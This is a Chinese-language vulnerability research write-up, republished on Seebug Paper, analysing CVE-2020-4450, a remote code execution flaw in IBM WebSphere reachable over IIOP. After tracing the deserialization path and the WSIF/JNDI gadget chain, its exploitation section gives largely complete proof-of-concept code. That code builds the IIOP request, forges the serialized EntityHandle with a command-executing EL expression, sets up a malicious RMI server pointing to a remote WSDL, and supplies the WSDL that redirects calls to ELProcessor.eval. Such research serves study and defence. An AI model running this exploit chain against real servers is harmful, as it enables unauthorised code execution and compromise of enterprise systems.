作者:Lucifaer
原文鏈接:https://lucifaer.com/2020/08/21/WebSphere...
該漏洞本身其實并不是非常好用,但是對于分析來說,確實是今年以來比較有意思的一個漏洞了,值得所有做Java漏洞研究的人員進行跟進和學習。
0x01 漏洞概述

IBM WebSphere Application Server(后面簡稱WAS)在今年6月發布了一則漏洞通告,cve編號為:CVE-2020-4450。該漏洞允許攻擊者通過iiop向WAS進行網絡請求,最終在WAS上執行任意代碼。
在7月,ZDI公布了漏洞細節,同天iswin師傅也發布了他對此漏洞的分析,8月6日,360cert的小伙伴也公布了他自己的分析,本文是參考以上三篇文章完成的,主要用于記錄自己的調試過程,以及補充相關的分析細節。
0x02 漏洞分析
該漏洞主要分為三部分:
TXServerInterceptor攔截器處理iiop請求- 利用
WSIF構造Gadget - 偽造
wsdl文件完成漏洞利用
本文將從上而下將三部分進行串流分析,主要采用靜態跟蹤,最后會在漏洞利用部分分享如何創建相關數據流完成整條流程的串通。
2.1 TXServerInterceptor攔截器處理iiop請求
這一部分tinit0在19年的bh上其實已經做了相關的分享,這里只是記錄一下自己的跟進流程。
TXServerInterceptor具體代碼在com.ibm.ws.Transaction.JTS.TxServerInterceptor#receive_request,這里只截關鍵部分的代碼:


攔截器首先會根據ServerRequestInfo實例化ServiceContext對象,當serviceContext.context_data對象非空時可以進入TxInterceptorHelper.demarshalContext解析流程,而這里就是漏洞的起始點。
跟進TxInterceptorHelper.demarshalContext()方法:

對Corba處理稍微熟悉一點的可以很明顯的看出這里為Corba rpc流程中的解包流程。根據傳入的bypte數組初始化CDRInputStream對象用于后續進行反序列化操作。在完成CDRInputStream初始化后,調用read_any()方法初始化Any對象。
由于IBM自己重新實現了具體的IIOP解析流程,所以不能先入為主的用JDK原生處理邏輯來思考后續漏洞調用流程。
我們首先來跟進一下CDRInputStream的初始化邏輯,后續流程會用到其所定義的CDRReader:

這里最終返回EncoderInputStream對象,并設置reader對象為com.ibm.rmi.iiop.CDRInputStream,reader會在后續流程中用到。
現在跟進inputStream.read_any():

具體實現為com.ibm.rmi.iiop.CDRInputStream#reade_any。由于CDRInputStream中未實現read_any()方法則調用com.ibm.rmi.iiop.CDRReader#read_any:
:

其中最為關鍵的邏輯就是Any.read_value()。到這里為止,經歷了以下流程:
CDRInputStream初始化 ->
CDRInputStream.read_any() ->
CDRInputStream.read_value()
看過之前那篇簡述Corba文章的,可能已經清楚了,JDK原生實現邏輯在后續會觸發反序列化流程,而IBM的實現方式卻不盡相同,后續會觸發反射調用的流程。
跟進Any.read_value()方法:

首先會將傳入的TypeCode轉化為真正的TypeCode,之后調用TCUtility.unmarshalIn()對傳入的InputStream進行解包操作,想要查看全部的TypeCode的話,可以查看org.omg.CORBA.TCKind#from_int。這里我們重點關注tk_value,也就是TypeCode為29的情況:

接下來的調用邏輯為:
org.omg.CORBA_2_3.portable.InputStream#read_value ->
com.ibm.rmi.iiop.EncoderInputStream#read_value ->
com.ibm.rmi.iiop.CDRReader#read_value
在com.ibm.rmi.iiop.CDRReader#read_value()中存在關鍵邏輯:

在this.fast_read_value_ludcl();中對this.valueClass進行了初始化:

最終通過com.ibm.rmi.util.ClassCache#loadClass調用JDK反射完成類的實例化。這里不做重點跟蹤,感興趣的可以自己跟一下。
這里主要跟進一下his.valueHandler.readValue()方法的處理流程:

調用了this.inputStreamBridge.simpleReadObject()最終返回一個Serializable對象,繼續跟進:

紅框標注了兩個重要的流程,simpleReadObjectInternal方法和simpleReadObjectLoop,這兩個方法存在一定的區別。
simpleReadObjectInternal
simpleReadObjectInternal首先根據valueClass的類型進行流程分派,之后會向上輪詢查找父類同時將subClass保存在pendingReadStack中。判斷父類是否存在readObject方法,如果沒有則將完成初步處理的對象傳入simpleReadObjectLoop中對其子類進行反序列化。




這里會會向上輪詢查找父類同時將subClass保存在pendingReadStack中,跟進看一下addSubclass()方法:

其將相關信息都進行了設置,這些設置在simpleReadObjectLoop中會用到。繼續跟進:


此處會判斷父類中是否存在readObject方法,若不存在則完成后續處理邏輯并進入simpleReadObjectLoop邏輯之中。
simpleReadObjectLoop
simpleReadObjectLoop會遍歷pendingReadStack中的子類,并調用continueSimpleReadObject()方法嘗試反序列化。


此處的var2.obj、var2.classDesc、var2.fvd在simpleReadObjectInternal中都已經進行了設置。跟進inputObjectUsingClassDesc()方法,和simpleReadObjectInternal是相同的邏輯,先判斷是否存在readObject方法,如果存在則調用readObject方法進行反序列化操作:


至此漏洞的觸發點就梳理完畢了。
2.2 利用WSIF構造Gadget
2.2.1 WSIF更改執行流
在具體梳理漏洞gadget前,先用一個例子來簡單介紹一下Apache WSIF。
WSIF全稱Web服務調用框架,是一組用于調用Web服務的Java API。其和wsdl描述文件強關聯,wsdl文件用于描述與Web服務的抽象結構進行交互,可以理解為Web服務API的描述文件。
首先創建一個接口,該接口用于與對應的wsdl文件對應:

然后本地實現Gadget接口,這里為了簡單,直接將exec()方法實現為執行命令:

具體的調用為:

WSIFServiceFactory.getService()方法文檔如下:

可以看到這里主要需要以下幾個參數:
javax.wsdl.Definition:wsdl文件的位置portTypeNs:用于標識port的NameSpace,相當于配置的命名空間portTypeName:port的名字,在wsdl中portType為接口對象的xml表示
這里的WSIFService.getStub(Gadget.class)方法最終返回的是一個Gadget類型的代理對象。
wsdl文件定義如下:
<?xml version="1.0" ?>
<definitions targetNamespace="http://wsifservice.addressbook/"
xmlns:tns="http://wsifservice.addressbook/"
xmlns:xsd="http://www.w3.org/1999/XMLSchema"
xmlns:format="http://schemas.xmlsoap.org/wsdl/formatbinding/"
xmlns:java="http://schemas.xmlsoap.org/wsdl/java/"
xmlns="http://schemas.xmlsoap.org/wsdl/">
<message name="ExecRequestMessage">
<part name="command" type="xsd:string"/>
</message>
<!-- port type declns -->
<portType name="Gadget">
<operation name="exec">
<input name="ExecRequest" message="tns:ExecRequestMessage"/>
</operation>
</portType>
<!-- binding declns -->
<binding name="JavaBinding" type="tns:Gadget">
<java:binding/>
<format:typeMapping encoding="Java" style="Java">
<format:typeMap typeName="xsd:string" formatType="java.lang.String" />
</format:typeMapping>
<operation name="exec">
<java:operation
methodName="exec"
parameterOrder="command"
methodType="instance"
/>
</operation>
</binding>
<!-- service decln -->
<service name="GadgetService">
<port name="JavaPort" binding="tns:JavaBinding">
<java:address className="com.lucifaer.wsif_gadget.service.GadgetImpl"/>
</port>
</service>
</definitions>
運行效果如下:

現在我們在不改動Main代碼的情況下(即不改變運行邏輯)讓其執行el表達式解析(即實現不同的邏輯)。為了方便測試,只改變Main中exec()方法的參數(可以理解為這里是可控的值):

修改wsdl如下:

執行結果如下:

通過上面兩個例子可以簡單的將WSIF理解為接口的描述文件,而接口方法的具體實現是根據wsdl配置而進行綁定的。
所以當在面對一個存在WSIF調用的邏輯時,可以考慮使用自定義的wsdl來將執行流引向符合條件的其他實現中。
2.2.2 Gadget執行流
根據ZDI的文章,tint0找到了一個存在readObject方法的類,并且該類會觸發JNDI邏輯,這個類就是org.apache.wsif.providers.ejb.WSIFPort_EJB:

HomeHandle.getEJBHome()雖然也會觸發JNDI流程,但是由于在具體實現時沒有對返回回的代理類對象的相關方法進行引用,無法觸發后續的gadget邏輯,所以此處需要構造一個Handle對象,而非一個HomeHandle對象。
現在我們可以先繼續跟著Handle.getEJBObject()的邏輯向下看,看到后面就可以理解為什么選擇構造Handle對象了。
跟進com.ibm.ejs.container.EntityHandle#getEJBObject,此處是整個Gadget的主要執行邏輯:

總結一下分為三步:
- JNDI返回一個
EJBHome類型的對象 - 檢查返回對象的
EJBHome對象是否存在findByPrimaryKey方法 - 反射調用
EJBHome對象的findByPrimaryKey對象
首先來看
home = (EJBHome)PortableRemoteObject.narrow(ctx.lookup(this.homeJNDIName), homeClass);
由于最終返回類型為EJBHome,可以得知homeClass為EJBHome接口的具體實現類,且ctx.lookup(this.homeJNDIName)必須為EJBHome子類。
接著跟進com.ibm.ejs.container.EntityHandle#findFindByPrimaryKey查看homeClass需要滿足的條件:

可以看到必須存在findByPrimaryKey方法。在EJBHome的繼承樹中尋找符合條件的類有:
com.ibm.ejs.security.registry.RegistryEntryHome
com.ibm.ws.batch.AbstractResourceHome
com.ibm.ws.batch.CounterHome
com.ibm.ws.batch.LocalJobStatusHome
目前先不管構造哪個接口的具體實現類,先來看一下ctx.lookup()的具體實現,調用棧:
com.sun.jndi.rmi.registry.RegistryContext#lookup
com.sun.jndi.rmi.registry.RegistryContext#decodeObject
javax.naming.spi.NamingManager#getObjectInstance


org.apache.aries.jndi.OSGiObjectFactoryBuilder#getObjectInstance(java.lang.Object, javax.naming.Name, javax.naming.Context, java.util.Hashtable<?,?>)
org.apache.aries.jndi.ObjectFactoryHelper#getObjectInstance

跟進org.apache.aries.jndi.ObjectFactoryHelper#getObjectInstanceViaContextDotObjectFactories(java.lang.Object, javax.naming.Name, javax.naming.Context, java.util.Hashtable<?,?>, javax.naming.directory.Attributes):


這里的factory為ObjectFactory接口的具體實現,而factory是可以通過environment自定義實現的,所以這里可以通過修改environment的配置更改執行流。
tint0這里找到的可以用ObjectFactory為org.apache.wsif.naming.WSIFServiceObjectFactory:

由于ctx.lookup()最終要求返回的是EJBHome的實現類,而WSIFService接口并非EJBHome的子類,所以選擇下面的流程。根據2.2.1中的敘述,可以明顯的看出這里調用了WSIF流程。
這里重新放一下WSIFServiceFactory.getService()方法的文檔:

對應實現的代碼:

注意紅框標注的相關代碼,WSIF所需要的基礎參數我們都可以通過Reference對象獲得。通過指定className,我們還可以指定生成的stub動態代理對象的類型,當設置其為EJBHome的具體實現類時,可以完美的匹配我們之前的需求。
而通過自定義wsdl文件,我們可以將接口方法映射到其他的具體實現中,改變具體接口的執行流。
2.3 偽造wsdl文件完成漏洞利用
根據2.2.2中的內容,我們回看觸發JNDI流程處的代碼:

在2.2.2中也說過,這里的home對象要滿足兩個條件:
- 是
EJBHome的具體實現類 - 存在
findByPrimaryKey方法
搜索EJBHome的繼承樹,滿足條件的有:
com.ibm.ejs.security.registry.RegistryEntryHome
com.ibm.ws.batch.AbstractResourceHome
com.ibm.ws.batch.CounterHome
com.ibm.ws.batch.LocalJobStatusHome
所以如果構造Reference對象中的className為其中一個類,并設置好wsdl文件中對應接口方法的映射,即可完成我們想要控制的邏輯。
仔細研究一下上面所列舉的可用的EJBHome接口子類:




其中com.ibm.ws.batch.CounterHome是最容易構造的,可以配合javax.el.ELProcessor執行el表達式,最終導致命令執行。
所以只需要造好wsdl,讓CounterHome的findByPrimaryKey方法的具體實現指向javax.el.ELProcessor的eval方法,在返回了CounterHome動態代理對象后,會利用反射調用其findByPrimaryKey也就是我們通過wsdl綁定的javax.el.ELProcessor#eval方法,完成表達式執行。
攻擊流程可以總結如下:

至此漏洞梳理完畢。
0x03 漏洞利用
根據0x02的分析,可以得出想要利用成功該漏洞所需的必備因素:
- IIOP請求構造(滿足進入觸發點的context)
- 構造
org.apache.wsif.providers.ejb.WSIFPort_EJB所需的序列化數據(最終反序列化對象的類型為Handle) - 構造
wsdl文件更改接口方法的具體實現 - 構造
JNDI server使其返回指定的Reference對象
接下來會對上述流程進行逐一敘述。
3.1 IIOP請求構造
回看com.ibm.ws.Transaction.JTS.TxServerInterceptor#receive_request:

要注意兩個點:
ServiceContext.context_data非空,且包含我們構造的序列化GadgetTxProperties.SINGLE_PROCESS為true
重點來看一下ServiceContext獲取邏輯,跟進((ExtendedServerRequestInfo)sri).getRequestServiceContext(0),調用邏輯如下:
com.ibm.rmi.pi.ServerRequestInfoImpl#getRequestServiceContext
com.ibm.rmi.iiop.ServerRequestImpl#getServiceContext
com.ibm.rmi.iiop.RequestMessage#getServiceContext
com.ibm.rmi.iiop.ServiceContextList#getServiceContext
根據調用棧我們可以看到是從com.ibm.rmi.iiop.RequestMessage對象中獲取ServiceContext對象的,在etServiceContext方法中:

會遍歷ServiceContextList,提取id為0的ServiceContext。但是由于沒有編號為0的ServiceContext,所以返回的是空。
仔細讀一下官方文檔,官方文檔中有提及如何在RMI請求中插入ServiceContext的做法,可以參考文檔進行理解:

可以看到最終是調用ExtendedClientRequestInfo(ClientRequestInfo的父類)的add_request_service_context方法完成自定義ServiceContext的設置。那么關鍵點就是,我們如何從client端將ServiceContext設置到ExtendedClientRequestInfo中。
在跟蹤了ibm自定義的通信過程后,可以發現在ORB中的GIOPImpl在調用createRequest方法時會實例化ClientRequestImpl對象:

這里有兩個地方需要注意:
- 獲取
Connection對象 - 根據獲取的
Connection對象獲取ServiceContext
首先先看一下是如何從Connection對象中獲取到ServiceContext的:

可以看到直接是調用Connection#getServiceContexts方法。
之后跟進ClientRequestImpl初始化邏輯:

將獲取到的ServiceContext作為參數傳入到RequestMessage的構造函數中。這里就和服務端跟到的邏輯相符。
梳理一下思路,構造IIOP請求的關鍵點為:
- 進行第一次請求,初始化獲取到的
Context對象 - 獲取
ORB - 獲取
ORB中的GIOPImpl - 獲取
Connection對象 - 調用
setConnectionContexts將構造好的ServiceContext設置到Connection對象中 - 進行第二次請求,觸發
RequestMessage對象的重新發送
具體構造可以動態調試一下,利用反射完成相關的值設置。
最終構造如下:
Properties env = new Properties();
env.put(Context.PROVIDER_URL, "iiop://192.168.211.128:2809");
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.ibm.websphere.naming.WsnInitialContextFactory");
InitialContext context = new InitialContext(env);
context.list("");
Field f_defaultInitCtx = context.getClass().getDeclaredField("defaultInitCtx");
f_defaultInitCtx.setAccessible(true);
WsnInitCtx defaultInitCtx = (WsnInitCtx) f_defaultInitCtx.get(context);
Field f_context = defaultInitCtx.getClass().getDeclaredField("_context");
f_context.setAccessible(true);
CNContextImpl _context = (CNContextImpl) f_context.get(defaultInitCtx);
Field f_corbaNC = _context.getClass().getDeclaredField("_corbaNC");
f_corbaNC.setAccessible(true);
_NamingContextStub _corbaNC = (_NamingContextStub) f_corbaNC.get(_context);
Field f__delegate = ObjectImpl.class.getDeclaredField("__delegate");
f__delegate.setAccessible(true);
ClientDelegate clientDelegate = (ClientDelegate) f__delegate.get(_corbaNC);
Field f_ior = clientDelegate.getClass().getSuperclass().getDeclaredField("ior");
f_ior.setAccessible(true);
IOR ior = (IOR) f_ior.get(clientDelegate);
Field f_orb = clientDelegate.getClass().getSuperclass().getDeclaredField("orb");
f_orb.setAccessible(true);
ORB orb = (ORB) f_orb.get(clientDelegate);
GIOPImpl giop = (GIOPImpl) orb.getServerGIOP();
Method getConnection = giop.getClass().getDeclaredMethod("getConnection", com.ibm.CORBA.iiop.IOR.class, Profile.class, ClientDelegate.class, String.class);
getConnection.setAccessible(true);
Connection connection = (Connection) getConnection.invoke(giop, ior, ior.getProfile(), clientDelegate, "Lucifaer");
Method setConnectionContexts = connection.getClass().getDeclaredMethod("setConnectionContexts", ArrayList.class);
setConnectionContexts.setAccessible(true);
byte[] result = new byte[]{0, 0};
ServiceContext serviceContext = new ServiceContext(0, result);
ArrayList v4 = new ArrayList();
v4.add(serviceContext);
setConnectionContexts.invoke(connection, v4);
context.list("");
3.2 構造所需的序列化數據
在2.1的分析中,我們知道要滿足觸發反序列化流程需要進行特殊構造。漏洞觸發點為inputStream.read_any(),為了滿足上方對inputStream相關數據的提取,所以需要特殊構造byte[]:

既然存在demarshalContext方法,那一定存在marshalContext方法:

按照上面的方法直接生成符合要求的byte[]:
CDROutputStream outputStream = ORB.createCDROutputStream();
outputStream.putEndian();
Any any = orb.create_any();
PropagationContext propagationContext = new PropagationContext(
0,
new TransIdentity(null, null, new otid_t(0, 0, new byte[0])),
new TransIdentity[0],
any
);
PropagationContextHelper.write(outputStream, propagationContext);
result = outputStream.toByteArray();
在滿足了觸發點后,我們需要構造gadget滿足條件:
- 構造一個
org.apache.wsif.providers.ejb.WSIFPort_EJB對象,其中還需要構造WSIFPort_EJB#readObject方法傳入值反序列化得到一個javax.ejb.Handle對象。 - 構造
EntityHandle對象
3.2.1 生成WSIFPort_EJB序列化對象
直接看org.apache.wsif.providers.ejb.WSIFPort_EJB#writeObject:

這里我們需要首先設置this.fieldEjbObject對象并調用其getHandle方法,生成一個Handle對象。這里的this.fieldEjbObject是EJBObject接口的具體實現。所以可以自己尋找一個具體實現類,并覆蓋其getHandle方法。
3.2.2 構造EntityHandle對象
構造一個EntityHandle對象還是比較麻煩的,我們來理一下:
我們需要將homeJNDIName設置為我們自己定義的RMI Server地址,同時key是最終傳入findByPrimaryKey的參數,需要構造為我們要執行的代碼,所以需要構造特殊的BeanId對象:

同時為了將之后RMI流程指向org.apache.wsif.naming.WSIFServiceObjectFactory,需要我們在Properties對象中設置相關的environment:



我們首先構造BeanId。跟進com.ibm.ejs.container.BeanId#getJNDIName:


所以還需要構造HomeInternal的具體實現對象,并使其返回String類型。
整理一下需要構造的HomeInternal對象的需求:
- 構造
J2EEName對象,滿足要求 - 尋找一個
HomeInternal的具體實現對象,其getJNDIName方法返回String,且返回不受到pkey干擾
查看繼承樹后,發現EJSHome抽象類滿足要求:

所以梳理一下思路:
- 實例化
EJSHome接口實現類 - 實例化
J2EEName對象 - 反射設置
J2EEName到EJSHome接口實現類 - 反射設置
EJSHome接口實現類 的this.jndiName變量為RMI Server的地址 - 實例化
BeanId - 實例化
BeanMetaData - 實例化
Properties
這里重寫了com.ibm.ejs.container.EJSWrapper:
public Handle getHandle() {
Handle var2 = null;
try {
SessionHome sessionHome = new SessionHome();
J2EEName j2EEName = new J2EENameImpl("aa","aa","aa");
Field j2eeName = EJSHome.class.getDeclaredField("j2eeName");
j2eeName.setAccessible(true);
j2eeName.set(sessionHome,j2EEName);
Field jndiName = sessionHome.getClass().getSuperclass().getDeclaredField("jndiName");
jndiName.setAccessible(true);
jndiName.set(sessionHome,"rmi://127.0.0.1:1099/poc");
Serializable key = "\"a\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('open /Applications/Calculator.app')\")";
//Serializable key = "\"a\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"ifconfig\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")";
BeanId beanId = new BeanId(sessionHome,key,true);
BeanMetaData beanMetaData = new BeanMetaData(1);
beanMetaData.homeInterfaceClass = com.ibm.ws.batch.CounterHome.class;
Properties initProperties = new Properties();
initProperties.setProperty("java.naming.factory.object", "org.apache.wsif.naming.WSIFServiceObjectFactory");
Constructor c = EntityHandle.class.getDeclaredConstructor(BeanId.class, BeanMetaData.class, Properties.class);
c.setAccessible(true);
var2 = (Handle) c.newInstance(beanId, beanMetaData, initProperties);
} catch (Exception e) {
e.printStackTrace();
}
return var2;
}
3.3 構造RMI Server綁定
根據2.2.2的分析,我們最終的RMI流程會進行到org.apache.wsif.naming.WSIFServiceObjectFactory中:

所以我們需要構造一個惡意的RMI Server,其應該滿足以下要求:
- 返回一個
WSIFServiceStubRef對象 - 指定用于后續調用
WSIF流程的基礎參數:wsdLocserviceNSserviceNameportTypeNSportTypeNamepreferredPort
- 設置
className為com.ibm.ws.batch.CounterHome
以上有關WSIF的參數設置,可以參考2.2.1中的敘述,這里就不再過多重復了。
最終可以構造RMI Server如下:
public class RmiServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1097);
Reference ref = new Reference(WSIFServiceObjectFactory.class.getName(), null, null);
ref.add(new StringRefAddr("wsdlLoc", "http://192.168.211.1:9999/poc.wsdl"));
ref.add(new StringRefAddr("serviceNS", null));
ref.add(new StringRefAddr("serviceName", null));
ref.add(new StringRefAddr("portTypeNS", "http://wsifservice.addressbook/"));
ref.add(new StringRefAddr("portTypeName", "Gadget"));
ref.add(new StringRefAddr("className", "com.ibm.ws.batch.CounterHome"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("poc", referenceWrapper);
}
}
3.4 構造WSDL文件
這一部分參考2.2.1中敘述,這里直接給出wsdl文件的內容:
<?xml version="1.0" ?>
<definitions targetNamespace="http://wsifservice.addressbook/"
xmlns:tns="http://wsifservice.addressbook/"
xmlns:xsd="http://www.w3.org/1999/XMLSchema"
xmlns:format="http://schemas.xmlsoap.org/wsdl/formatbinding/"
xmlns:java="http://schemas.xmlsoap.org/wsdl/java/"
xmlns="http://schemas.xmlsoap.org/wsdl/">
<!-- type defs -->
<!-- message declns -->
<message name="findByPrimaryKeyRequest">
<part name="el" type="xsd:string"/>
</message>
<message name="findByPrimaryKeyResponse">
<part name="counterObject" type="xsd:object"/>
</message>
<!-- port type declns -->
<portType name="Gadget">
<operation name="findByPrimaryKey">
<input message="findByPrimaryKeyRequest"/>
<output message="findByPrimaryKeyResponse"/>
</operation>
</portType>
<!-- binding declns -->
<binding name="JavaBinding" type="tns:Gadget">
<java:binding/>
<format:typeMapping encoding="Java" style="Java">
<format:typeMap typeName="xsd:string" formatType="java.lang.String"/>
<format:typeMap typeName="xsd:object" formatType="java.lang.Object"/>
</format:typeMapping>
<operation name="findByPrimaryKey">
<java:operation
methodName="eval"
parameterOrder="el"
methodType="instance"
returnPart="counterObject"
/>
</operation>
</binding>
<!-- service decln -->
<service name="GadgetService">
<port name="JavaPort" binding="tns:JavaBinding">
<java:address className="javax.el.ELProcessor"/>
</port>
</service>
</definitions>
3.5 整合poc
最后將3.2構造好的WSIFPort_EJB序列化對象寫入3.1構造好的IIOP請求中:

至此poc構造完畢。
攻擊效果如下:

0x04 參考
- https://www.zerodayinitiative.com/blog/2020/7/20/abusing-java-remote-protocols-in-ibm-websphere
- https://www.secrss.com/articles/24353
- https://cert.#/report/detail?id=3d016bdef66b8e29936f8cb364f265c8
- https://i.blackhat.com/eu-19/Wednesday/eu-19-An-Far-Sides-Of-Java-Remote-Protocols.pdf
- https://publib.boulder.ibm.com/tividd/td/ITMFTP/SC32-9412-00/en_US/HTML/arm48.htm
- https://publib.boulder.ibm.com/tividd/td/ITMFTP/SC32-9412-00/en_US/HTML/arm48.htm
- http://ws.apache.org/wsif/index.html
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1303/
暫無評論